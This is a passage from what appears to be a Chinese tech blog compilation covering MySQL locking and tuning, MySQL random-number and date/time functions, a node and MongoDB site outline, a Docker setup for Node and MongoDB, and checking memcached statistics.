4. MySQL中主要分4中队列来维护这两种锁定：两个存放当前正在锁定的读和写锁定信息，另外两个存放等待中的读写锁定西信息，如下：

  • Current read-lock queue ( lock->read)
  • Pending read-lock queue (lock->read_wait)
  • Current write-lock queue (lock->write)
  • Pending write-lock queue (lock->write_wait)

5. InnoDB 的行级锁定分为四种类型

  • 共享锁 （有叫做：读锁）
    • 允许一个事务去读一行，阻止其他事务获得相同数据的排它锁。
  • 排他锁 （有叫做：写锁）
    • 允许获得排它锁的事务更新数据，阻止其他事务
  • 意向共享锁

  • 意向排他锁

6. InnoDB 间隙锁

InnoDB 的锁定是通过在指向数据记录的第一个索引键之前和最后一个索引键之后的空域空间标记锁定信息实现的。这种锁定方式被称为 “NEXT-KEY locking”（间隙锁）

间隙锁弱点：锁定一个范围之后，即使某些不存在的键值也会被无辜锁定，造成锁定的时候无法插入键值锁定内的任何数据。

通过索引实现锁定的方式存在其他几个较大的性能隐患：

  • 当 Query 无法利用索引的时候，InnoDB 会放弃使用 行级锁定 而改用 表级锁定 ，造成并发性能降低；

  • 当 Query 使用的索引并不包含所有过滤条件时，数据检索使用到的索引键中的数据可能有部分不属于 Query 的结果集行列，但是也会被锁定，因为间隙锁锁定的是一个范围，而不是具体的索引键。

  • 当 Query 在使用索引定位数据的时候，如果使用的索引键一样但访问的数据行不同 （索引只是过滤条件的一部分）， 他们一样会被锁定。

7. MyISAM 表锁优化建议

  • 缩短锁定时间
    • 尽量减少大的复杂 Query，将复杂 Query 拆分成几个小的 Query 执行。

    • 尽可能地建立足够高效的索引，让数据检索更迅速。

    • 尽量让MyISAM 存储引擎的表只存放必要的信息，控制字段类型。

    • 利用合适的机会优化 MyISAM 表数据文件。

  • 分离能并行的操作

    • MyISAM 并非只能完全的串行化，MyISAM 存储引擎还有一个特性 Concurrent Insert（并发插入）的特性。

    • MyISAM 存储引擎有一个控制是否打开 Concurrent insert 功能的参数选项： concurrent_insert 可以设置为 0/1/2：具体如下：

concurrent_insert = 2，无论 MyISAM 存储引擎的表数据文件的中间部分是否存在因为删除数据而留下的空闲空间，都允许在数据文件尾部进行Concurrent Insert。

concurrent_insert = 1，MyISAM 存储引擎表数据文件中间不存在空闲空间的时候，可以从文件尾部进行 Concurrent Insert。

concurrent_insert = 0， 无论 MyISAM 存储引擎的表数据文件的中间部分是否存在因为删除数据而留下的空闲空间，都不允许 Concurrent Insert。（读锁时，不允许插入）

  • 合理利用读写优先级
    • 表级锁定 默认情况下写优先级大于读，如果读操作多的时候，可以设置读优先级高，可设置参数 low_priority_updates = 1。

8. InnoDB 行锁优化建议

  • 尽可能让所有的数据检索都通过索引来完成，从而避免 InnoDB 因为无法通过索引键加锁而升级为表级锁定

  • 合理设计索引，让 InnoDB 在索引键上加锁的时候尽可能准确，尽可能地缩小锁定范围，避免造成不必要的锁定而影响其他 Query 的执行。
    尽可能减少基于范围的数据检索过滤条件，避免因间隙锁带来的负面影响而锁定了不该锁定的记录。

  • 尽量控制事务大小，减少锁定的资源量和锁定的时间长度。

  • 在业务环境允许的情况下，尽量使用较低级别的事务隔离，减少 MySQL 因为实现事务隔离级别所带来的附加成本。

9. 系统锁定争用情况查询

MySQL 内部有两组专用的状态变量记录系统内部资源争用情况。

  • 表级锁定的争用状态变量

mysql> show status like ‘table%’;

  • Table_locks_immediate：产生表级锁定的次数；

  • Table_locks_waited：出现表级锁定争用而发生等待的次数

Table_locks_immediate 值大于 Table_locks_waited 5000 是比较合适的，在大就需要分析问题所在。

两个状态值都是从系统启动后开始记录，每出现一次加1，如果这里 Table_locks_waited 状态值比较高，说明表级锁定争用严重，需进一步分析。

  • InnoDB 行级锁定状态变量记录

sql> show status like ‘innodb_row_lock%’;

  • Innodb_row_lock_current_waites：当前正在等待锁定的数量；
  • Innodb_row_lock_time：从系统启动到现在锁定总时间长度；
  • Innodb_row_lock_time_avg：每次等待所花平均时间；
  • Innodb_row_lock_time_max：从系统启动到现在等待最长的一次所花的时间；
  • Innodb_row_lock_waits：从系统启动到现在总等待次数。

5个状态，比较重要的是 Innodb_row_lock_time_avg（等待平均时长），Innodb_row_lock_waits（等待总次数）及 Innodb_row_lock_time（等待总时长）

10. InnoDB 除了提供以上5个系统状态变量外，还提供了更为丰富的即时状态信息，实现方法如下：

  • 创建 InnoDB Monitor 表来打开 InnoDB的 monitor 功能
    • mysql > create table innodb_monitor(a int) engine=innodb;
  • 然后执行 ”show innodb status” 查看详细信息

为什么创建 innodb_monitor 表？

创建该表就是告诉InnoDB 我们要开始监控他的详细信息，然后InnoDB就会将比较详细的事务级锁定信息记录到MySQL的 error log 中，以便后面做进一步分析。

MySQL 生成给定范围随机数

MySQL 的 rand() 函数是随机生成区间为 [0,1) 的浮点数，那么如何让它生成给定两个整数之间的随机数呢？试了一下这样可行：

select ROUND(RAND()*(10-1)+1);

也就是：

select ROUND(RAND()*(max-min)+min);

经测可行。

如图：

未分类

一个实际应用场景：比如给分数为 0 的记录，随机生成 400 到 500 之间的分数：

update civil_activity set score=round(rand()*(500-400)+400) where score=0;

这样就可以了。

mysql中时间和日期函数

一、MySQL 获得当前日期时间 函数

1.1 获得当前日期+时间（date + time）函数：now()

mysql> select now();

+---------------------+
| now() |
+---------------------+
| 2008-08-08 22:20:46 |
+---------------------+

除了 now() 函数能获得当前的日期时间外，MySQL 中还有下面的函数：

current_timestamp()
,current_timestamp
,localtime()
,localtime
,localtimestamp -- (v4.0.6)
,localtimestamp() -- (v4.0.6)

这些日期时间函数，都等同于 now()。鉴于 now() 函数简短易记，建议总是使用 now() 来替代上面列出的函数。

1.2 获得当前日期+时间（date + time）函数：sysdate()

sysdate() 日期时间函数跟 now() 类似，不同之处在于：now() 在执行开始时值就得到了， sysdate() 在函数执行时动态得到值。看下面的例子就明白了：

mysql> select now(), sleep(3), now();

+---------------------+----------+---------------------+
| now() | sleep(3) | now() |
+---------------------+----------+---------------------+
| 2008-08-08 22:28:21 | 0 | 2008-08-08 22:28:21 |
+---------------------+----------+---------------------+

mysql> select sysdate(), sleep(3), sysdate();

+---------------------+----------+---------------------+
| sysdate() | sleep(3) | sysdate() |
+---------------------+----------+---------------------+
| 2008-08-08 22:28:41 | 0 | 2008-08-08 22:28:44 |
+---------------------+----------+---------------------+

可以看到，虽然中途 sleep 3 秒，但 now() 函数两次的时间值是相同的； sysdate() 函数两次得到的时间值相差 3 秒。MySQL Manual 中是这样描述 sysdate() 的：Return the time at which the function executes。

sysdate() 日期时间函数，一般情况下很少用到。

2. 获得当前日期（date）函数：curdate()

mysql> select curdate();

+------------+
| curdate() |
+------------+
| 2008-08-08 |
+------------+

其中，下面的两个日期函数等同于 curdate()：

current_date()
,current_date

3. 获得当前时间（time）函数：curtime()

mysql> select curtime();

+-----------+
| curtime() |
+-----------+
| 22:41:30 |
+-----------+

其中，下面的两个时间函数等同于 curtime()：

current_time()
,current_time

4. 获得当前 UTC 日期时间函数：utc_date(), utc_time(), utc_timestamp()

mysql> select utc_timestamp(), utc_date(), utc_time(), now()

+---------------------+------------+------------+---------------------+
| utc_timestamp() | utc_date() | utc_time() | now() |
+---------------------+------------+------------+---------------------+
| 2008-08-08 14:47:11 | 2008-08-08 | 14:47:11 | 2008-08-08 22:47:11 |
+---------------------+------------+------------+---------------------+

因为我国位于东八时区，所以本地时间 = UTC 时间 + 8 小时。UTC 时间在业务涉及多个国家和地区的时候，非常有用。

二、MySQL 日期时间 Extract（选取） 函数

1. 选取日期时间的各个部分：日期、时间、年、季度、月、日、小时、分钟、秒、微秒

set @dt = '2008-09-10 07:15:30.123456';

select date(@dt); -- 2008-09-10
select time(@dt); -- 07:15:30.123456
select year(@dt); -- 2008
select quarter(@dt); -- 3
select month(@dt); -- 9
select week(@dt); -- 36
select day(@dt); -- 10
select hour(@dt); -- 7
select minute(@dt); -- 15
select second(@dt); -- 30
select microsecond(@dt); -- 123456

2. MySQL Extract() 函数，可以上面实现类似的功能：

set @dt = '2008-09-10 07:15:30.123456';

select extract(year from @dt); -- 2008
select extract(quarter from @dt); -- 3
select extract(month from @dt); -- 9
select extract(week from @dt); -- 36
select extract(day from @dt); -- 10
select extract(hour from @dt); -- 7
select extract(minute from @dt); -- 15
select extract(second from @dt); -- 30
select extract(microsecond from @dt); -- 123456

select extract(year_month from @dt); -- 200809
select extract(day_hour from @dt); -- 1007
select extract(day_minute from @dt); -- 100715
select extract(day_second from @dt); -- 10071530
select extract(day_microsecond from @dt); -- 10071530123456
select extract(hour_minute from @dt); -- 715
select extract(hour_second from @dt); -- 71530
select extract(hour_microsecond from @dt); -- 71530123456
select extract(minute_second from @dt); -- 1530
select extract(minute_microsecond from @dt); -- 1530123456
select extract(second_microsecond from @dt); -- 30123456

MySQL Extract() 函数除了没有date(),time() 的功能外，其他功能一应具全。并且还具有选取‘day_microsecond’ 等功能。注意这里不是只选取 day 和 microsecond，而是从日期的 day 部分一直选取到 microsecond 部分。够强悍的吧！

MySQL Extract() 函数唯一不好的地方在于：你需要多敲几次键盘。

3. MySQL dayof… 函数：dayofweek(), dayofmonth(), dayofyear()

分别返回日期参数，在一周、一月、一年中的位置。

set @dt = '2008-08-08';

select dayofweek(@dt); -- 6
select dayofmonth(@dt); -- 8
select dayofyear(@dt); -- 221

日期 ‘2008-08-08′ 是一周中的第 6 天（1 = Sunday, 2 = Monday, …, 7 = Saturday）；一月中的第 8 天；一年中的第 221 天。

4. MySQL week… 函数：week(), weekofyear(), dayofweek(), weekday(), yearweek()

set @dt = '2008-08-08';

select week(@dt); -- 31
select week(@dt,3); -- 32
select weekofyear(@dt); -- 32

select dayofweek(@dt); -- 6
select weekday(@dt); -- 4

select yearweek(@dt); -- 200831

MySQL week() 函数，可以有两个参数，具体可看手册。 weekofyear() 和 week() 一样，都是计算“某天”是位于一年中的第几周。 weekofyear(@dt) 等价于 week(@dt,3)。

MySQL weekday() 函数和 dayofweek() 类似，都是返回“某天”在一周中的位置。不同点在于参考的标准， weekday：(0 = Monday, 1 = Tuesday, …, 6 = Sunday)； dayofweek：（1 = Sunday, 2 = Monday, …, 7 = Saturday）

MySQL yearweek() 函数，返回 year(2008) + week 位置(31)。

5. MySQL 返回星期和月份名称函数：dayname(), monthname()

set @dt = '2008-08-08';

select dayname(@dt); -- Friday
select monthname(@dt); -- August

思考，如何返回中文的名称呢？

6. MySQL last_day() 函数：返回月份中的最后一天。

select last_day('2008-02-01'); -- 2008-02-29
select last_day('2008-08-08'); -- 2008-08-31

MySQL last_day() 函数非常有用，比如我想得到当前月份中有多少天，可以这样来计算：

mysql> select now(), day(last_day(now())) as days;

+---------------------+------+
| now() | days |
+---------------------+------+
| 2008-08-09 11:45:45 | 31 |
+---------------------+------+

三、MySQL 日期时间计算函数

1. MySQL 为日期增加一个时间间隔：date_add()

set @dt = now();

select date_add(@dt, interval 1 day); -- add 1 day
select date_add(@dt, interval 1 hour); -- add 1 hour
select date_add(@dt, interval 1 minute); --
select date_add(@dt, interval 1 second);
select date_add(@dt, interval 1 microsecond);
select date_add(@dt, interval 1 week);
select date_add(@dt, interval 1 month);
select date_add(@dt, interval 1 quarter);
select date_add(@dt, interval 1 year);

select date_add(@dt, interval -1 day); -- sub 1 day

MySQL adddate(), addtime()函数，可以用 date_add() 来替代。下面是 date_add() 实现 addtime() 功能示例：

mysql> set @dt = '2008-08-09 12:12:33';

mysql>
mysql> select date_add(@dt, interval '01:15:30' hour_second);

+------------------------------------------------+
| date_add(@dt, interval '01:15:30' hour_second) |
+------------------------------------------------+
| 2008-08-09 13:28:03 |
+------------------------------------------------+

mysql> select date_add(@dt, interval '1 01:15:30' day_second);

+-------------------------------------------------+
| date_add(@dt, interval '1 01:15:30' day_second) |
+-------------------------------------------------+
| 2008-08-10 13:28:03 |
+-------------------------------------------------+

date_add() 函数，分别为 @dt 增加了“1小时 15分 30秒” 和 “1天 1小时 15分 30秒”。建议：总是使用 date_add() 日期时间函数来替代 adddate(), addtime()。

2. MySQL 为日期减去一个时间间隔：date_sub()

mysql> select date_sub('1998-01-01 00:00:00', interval '1 1:1:1' day_second);

+----------------------------------------------------------------+
| date_sub('1998-01-01 00:00:00', interval '1 1:1:1' day_second) |
+----------------------------------------------------------------+
| 1997-12-30 22:58:59 |
+----------------------------------------------------------------+

MySQL date_sub() 日期时间函数 和 date_add() 用法一致，不再赘述。另外，MySQL 中还有两个函数 subdate(), subtime()，建议，用 date_sub() 来替代。

3. MySQL 另类日期函数：period_add(P,N), period_diff(P1,P2)

函数参数“P” 的格式为“YYYYMM” 或者 “YYMM”，第二个参数“N” 表示增加或减去 N month（月）。

MySQL period_add(P,N)：日期加/减去N月。

mysql> select period_add(200808,2), period_add(20080808,-2)

+----------------------+-------------------------+
| period_add(200808,2) | period_add(20080808,-2) |
+----------------------+-------------------------+
| 200810 | 20080806 |
+----------------------+-------------------------+

MySQL period_diff(P1,P2)：日期 P1-P2，返回 N 个月。

mysql> select period_diff(200808, 200801);

+-----------------------------+
| period_diff(200808, 200801) |
+-----------------------------+
| 7 |
+-----------------------------+

在 MySQL 中，这两个日期函数，一般情况下很少用到。

4. MySQL 日期、时间相减函数：datediff(date1,date2), timediff(time1,time2)

MySQL datediff(date1,date2)：两个日期相减 date1 – date2，返回天数。

select datediff('2008-08-08', '2008-08-01'); -- 7
select datediff('2008-08-01', '2008-08-08'); -- -7

MySQL timediff(time1,time2)：两个日期相减 time1 – time2，返回 time 差值。

select timediff('2008-08-08 08:08:08', '2008-08-08 00:00:00'); -- 08:08:08
select timediff('08:08:08', '00:00:00'); -- 08:08:08

注意：timediff(time1,time2) 函数的两个参数类型必须相同。

四、MySQL 日期转换函数、时间转换函数

1. MySQL （时间、秒）转换函数：time_to_sec(time), sec_to_time(seconds)

select time_to_sec('01:00:05'); -- 3605
select sec_to_time(3605); -- '01:00:05'

2. MySQL （日期、天数）转换函数：to_days(date), from_days(days)

select to_days('0000-00-00'); -- 0
select to_days('2008-08-08'); -- 733627

select from_days(0); -- '0000-00-00'
select from_days(733627); -- '2008-08-08'

3. MySQL Str to Date （字符串转换为日期）函数：str_to_date(str, format)

select str_to_date('08/09/2008', '%m/%d/%Y'); -- 2008-08-09
select str_to_date('08/09/08' , '%m/%d/%y'); -- 2008-08-09
select str_to_date('08.09.2008', '%m.%d.%Y'); -- 2008-08-09
select str_to_date('08:09:30', '%h:%i:%s'); -- 08:09:30
select str_to_date('08.09.2008 08:09:30', '%m.%d.%Y %h:%i:%s'); -- 2008-08-09 08:09:30

可以看到，str_to_date(str,format) 转换函数，可以把一些杂乱无章的字符串转换为日期格式。另外，它也可以转换为时间。“format” 可以参看 MySQL 手册。

4. MySQL Date/Time to Str（日期/时间转换为字符串）函数：date_format(date,format), time_format(time,format)

mysql> select date_format('2008-08-08 22:23:00', '%W %M %Y');

+------------------------------------------------+
| date_format('2008-08-08 22:23:00', '%W %M %Y') |
+------------------------------------------------+
| Friday August 2008 |
+------------------------------------------------+

mysql> select date_format('2008-08-08 22:23:01', '%Y%m%d%H%i%s');

+----------------------------------------------------+
| date_format('2008-08-08 22:23:01', '%Y%m%d%H%i%s') |
+----------------------------------------------------+
| 20080808222301 |
+----------------------------------------------------+

mysql> select time_format('22:23:01', '%H.%i.%s');

+-------------------------------------+
| time_format('22:23:01', '%H.%i.%s') |
+-------------------------------------+
| 22.23.01 |
+-------------------------------------+

MySQL 日期、时间转换函数：date_format(date,format), time_format(time,format) 能够把一个日期/时间转换成各种各样的字符串格式。它是 str_to_date(str,format) 函数的 一个逆转换。

5. MySQL 获得国家地区时间格式函数：get_format()

MySQL get_format() 语法：

get_format(date|time|datetime, 'eur'|'usa'|'jis'|'iso'|'internal'

MySQL get_format() 用法的全部示例：

select get_format(date,'usa') ; -- '%m.%d.%Y'
select get_format(date,'jis') ; -- '%Y-%m-%d'
select get_format(date,'iso') ; -- '%Y-%m-%d'
select get_format(date,'eur') ; -- '%d.%m.%Y'
select get_format(date,'internal') ; -- '%Y%m%d'
select get_format(datetime,'usa') ; -- '%Y-%m-%d %H.%i.%s'
select get_format(datetime,'jis') ; -- '%Y-%m-%d %H:%i:%s'
select get_format(datetime,'iso') ; -- '%Y-%m-%d %H:%i:%s'
select get_format(datetime,'eur') ; -- '%Y-%m-%d %H.%i.%s'
select get_format(datetime,'internal') ; -- '%Y%m%d%H%i%s'
select get_format(time,'usa') ; -- '%h:%i:%s %p'
select get_format(time,'jis') ; -- '%H:%i:%s'
select get_format(time,'iso') ; -- '%H:%i:%s'
select get_format(time,'eur') ; -- '%H.%i.%s'
select get_format(time,'internal') ; -- '%H%i%s'

MySQL get_format() 函数在实际中用到机会的比较少。

6. MySQL 拼凑日期、时间函数：makdedate(year,dayofyear), maketime(hour,minute,second)

select makedate(2001,31); -- '2001-01-31'
select makedate(2001,32); -- '2001-02-01'

select maketime(12,15,30); -- '12:15:30'

五、MySQL 时间戳（Timestamp）函数

1. MySQL 获得当前时间戳函数：current_timestamp, current_timestamp()

mysql> select current_timestamp, current_timestamp();

+---------------------+---------------------+
| current_timestamp | current_timestamp() |
+---------------------+---------------------+
| 2008-08-09 23:22:24 | 2008-08-09 23:22:24 |
+---------------------+---------------------+

2. MySQL （Unix 时间戳、日期）转换函数：

unix_timestamp(),
unix_timestamp(date),
from_unixtime(unix_timestamp),
from_unixtime(unix_timestamp,format)

下面是示例：

select unix_timestamp(); -- 1218290027
select unix_timestamp('2008-08-08'); -- 1218124800
select unix_timestamp('2008-08-08 12:30:00'); -- 1218169800

select from_unixtime(1218290027); -- '2008-08-09 21:53:47'
select from_unixtime(1218124800); -- '2008-08-08 00:00:00'
select from_unixtime(1218169800); -- '2008-08-08 12:30:00'

select from_unixtime(1218169800, '%Y %D %M %h:%i:%s %x'); -- '2008 8th August 12:30:00 2008'

3. MySQL 时间戳（timestamp）转换、增、减函数：

timestamp(date) -- date to timestamp
timestamp(dt,time) -- dt + time
timestampadd(unit,interval,datetime_expr) --
timestampdiff(unit,datetime_expr1,datetime_expr2) --

请看示例部分：

select timestamp('2008-08-08'); -- 2008-08-08 00:00:00
select timestamp('2008-08-08 08:00:00', '01:01:01'); -- 2008-08-08 09:01:01
select timestamp('2008-08-08 08:00:00', '10 01:01:01'); -- 2008-08-18 09:01:01

select timestampadd(day, 1, '2008-08-08 08:00:00'); -- 2008-08-09 08:00:00
select date_add('2008-08-08 08:00:00', interval 1 day); -- 2008-08-09 08:00:00

MySQL timestampadd() 函数类似于 date_add()。

select timestampdiff(year,'2002-05-01','2001-01-01'); -- -1
select timestampdiff(day ,'2002-05-01','2001-01-01'); -- -485
select timestampdiff(hour,'2008-08-08 12:00:00','2008-08-08 00:00:00'); -- -12

select datediff('2008-08-08 12:00:00', '2008-08-01 00:00:00'); -- 7

MySQL timestampdiff() 函数就比 datediff() 功能强多了，datediff() 只能计算两个日期（date）之间相差的天数。

六、MySQL 时区（timezone）转换函数

convert_tz(dt,from_tz,to_tz)

select convert_tz('2008-08-08 12:00:00', '+08:00', '+00:00'); -- 2008-08-08 04:00:00

时区转换也可以通过 date_add, date_sub, timestampadd 来实现。

select date_add('2008-08-08 12:00:00', interval -8 hour); -- 2008-08-08 04:00:00
select date_sub('2008-08-08 12:00:00', interval 8 hour); -- 2008-08-08 04:00:00
select timestampadd(hour, -8, '2008-08-08 12:00:00'); -- 2008-08-08 04:00:00

node+mongodb建站攻略

如何利用node+mongodb来快速搭建一个电影网站？

一、后端部分

整个网站的后端是由node.js来驱动的，所以在后端需要安装node.js,以及在这个基础之上的框架express，它能够帮助我快速的搭建web应用，然后数据库选用的mongodb，以及对mongodb快速建模的工具mongoose。后端的模板引擎用的是jade关于时间个日期的格式化选用的是Moment.js底下的这四个模块都是通过npm安装的，npm是node自带的。

未分类

二、前端部分

前端部分会选用jQuery的类库以及boostrap的样式的框架，它们都是网站前端的静态资源，网站前端的静态资源都存在一个版本的依赖和版本的管理，所以我们需要通过Bower来安装它们，Bower本身也是一个npm模块，所以它也需要现有npm的安装方。

未分类

三、本地的开发环境

本地的开发环境后面的网站会用到less的编译，样式的合并，语法的检查，包括前后端单元测试的实现，以及服务的自动重启，这几个任务都是通过grunt来集成。

未分类

四、实战步骤

选择完这些框架以后，就可以来开始实战，项目开发分为九个步骤

未分类

1、需求分析：看一下开发一共有多少个页面，页面里都有什么样的内容和需求以及什么样的交互，这样做到心里有数。

2、项目依赖初始化：然后对项目所依赖的模块进行一个安装和 初始目录的创建。

3、入口文件编码：在后端开始创建一个入口文件并且进行编码。

4、创建试图：编码以后就可以来创建几个重要页面的视图了，也就是模板。

5、测试前端流程 ：来跑通前后端的流程，也就是说，从浏览器发起一个请求到后端，后端接收到之后，返回一段数据。

6、样式开发，伪造模板数据  ：跑通前后端之后，就可以对页面进行一个样式的开发和一些HTML的dom结构的填充，同时要伪造一些模板数据。

7、设计数据库模型：这时候页面都有了，我们开始基于页面里面的内容同时来设计数据库的模型。

8、开发后端逻辑：然后来开发后端的逻辑，到这一步为止，前后端的逻辑都已经实现掉了。

9、配置依赖文件，网站开发结束：对前端静态资源版本和后端模块版本进行一个配置文件的生成，然后整个网站就开发结束了。

五、详细开发

然后来看一下网站的页面 ，左边是首页，有一个电影列表，把存在数据库里面的电影全部都取出来展现在这里，每一个海报都有电影名称和播放按钮，点击海报或者播放按钮就会跳转到右边这个页面，也就是详情页，详情页就是这部电影所针对的更加详细的介绍字段之类的东西。

未分类

后台录入页：其实这里就是一个表单，在后端能够填写一些和电影有关的数据，点击最底下的录入按钮的时候，会将这张表上的数据提交到后台，后台就会存到数据库，也就是mongodb里面，右边是列表页，当存入一定数据的电影的时候，我们可以进行批量的管理，比如更新或者删除。

未分类

Docker配置NodeJS+MongoDB

未分类

需求

在Docker中运行一个Nodejs项目,连接Mongo数据库进行数据操作,并启动RockMongo容器。

思路

  • 使用容器连接(link)方法,Mongo容器与WebApp容器连接
  • 数据库连接语句要通过容器别名构建!!!
  • 宿主机只需监听Web端口即可
  • Rockmongo用于图形化界面管理数据库

前期准备

服务器上已有nodejs环境并可运行,根目录在/usr/local/node
项目中的数据库连接语句改成数据库容器别名,实例化Mongo容器时–name casebasedb,mongoose连接语句改为

var store = new SessionStore({url: 'mongodb://containerdb/session',interval: 1440});
mongoose.connect('mongodb://containerdb:27017/casebasedb', {useMongoClient: true,});

拉取镜像

$ sudo docker pull node
$ sudo docker pull mongo
$ sudo docker pull pataquets/rockmongo

构建Web镜像

编写Dockerfile

$ vim /***/Dockerfile

Dockerfile内容

FROM node:latest # 基于node镜像
COPY . /***/casebase # 项目源文件目录
COPY . /usr/local/node # 直接拖进去的node环境
WORKDIR /***/casebase # nodejs运行目录
RUN npm install # 重新安装下依赖包
EXPOSE 8001 # 暴露端口8001
CMD ["node", "app.js"] # 执行命令

根据Dockerfile新建镜像,命令结尾的 . 是指示Dockerfile文件在当前目录下

$ sudo docker build -t hugh/casebase .

实例化容器

  • -p映射到当前8001端口;
  • –link语句连接数据库 [数据库容器名]:[容器别名]
  • 当连接成功后在web容器中可以直接ping到[容器别名containerdb]作为主机标识,所以一定要将数据库连接语句中的主机改成[容器别名]!!!
$ sudo docker run -d --name casebasedb mongo
$ sudo docker run --name casebaseapp -d -p 8001:8001 --link casebasedb:containerdb hugh/casebase 
$ sudo docker run --name rockapp -d -p 8003:80 --link casebasedb:containerdb pataquets/rockmongo

验证容器

查看容器情况

$ sudo docker ps -a
CONTAINER ID        IMAGE                    COMMAND                  CREATED             STATUS              PORTS                    NAMES
4e2ab928a683        dh/casebase:17.09.16.1   "node app.js"            14 minutes ago      Up 14 minutes       0.0.0.0:8001->8001/tcp   casebaseapp
66e6ba5f5873        mongo                    "docker-entrypoint..."   17 minutes ago      Up 17 minutes       27017/tcp                casebasedb

查看端口监听情况

$ sudo netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp6       0      0 :::8001                 :::*                    LISTEN      32211/docker-proxy

访问宿主机ip:8001,此时已可以访问web项目了。

linux服务器下如何查看memcached的运行情况

查看memcached的运行情况有两种办法：

方法一、登录服务器通过命令查询

通过SSL登录服务器，在命令行输入：

echo stats | nc 127.0.0.1 11211

能看到如下内容：

未分类

重点关注两行数据即可：

STAT get_hits xxxx

命中了多少次缓存，也就是从 Memcached 缓存中成功获取数据的次数

STAT get_misses xxxx

没有命中的次数

方法二、使用memcached官方的探针

具体方法参见： https://www.liangshare.com/linux/8340.html

安装探针之后，访问探针页面，能看到如下信息：

未分类

其中右边长方形的柱形图，绿色表示命中率，橘色表示未命中率。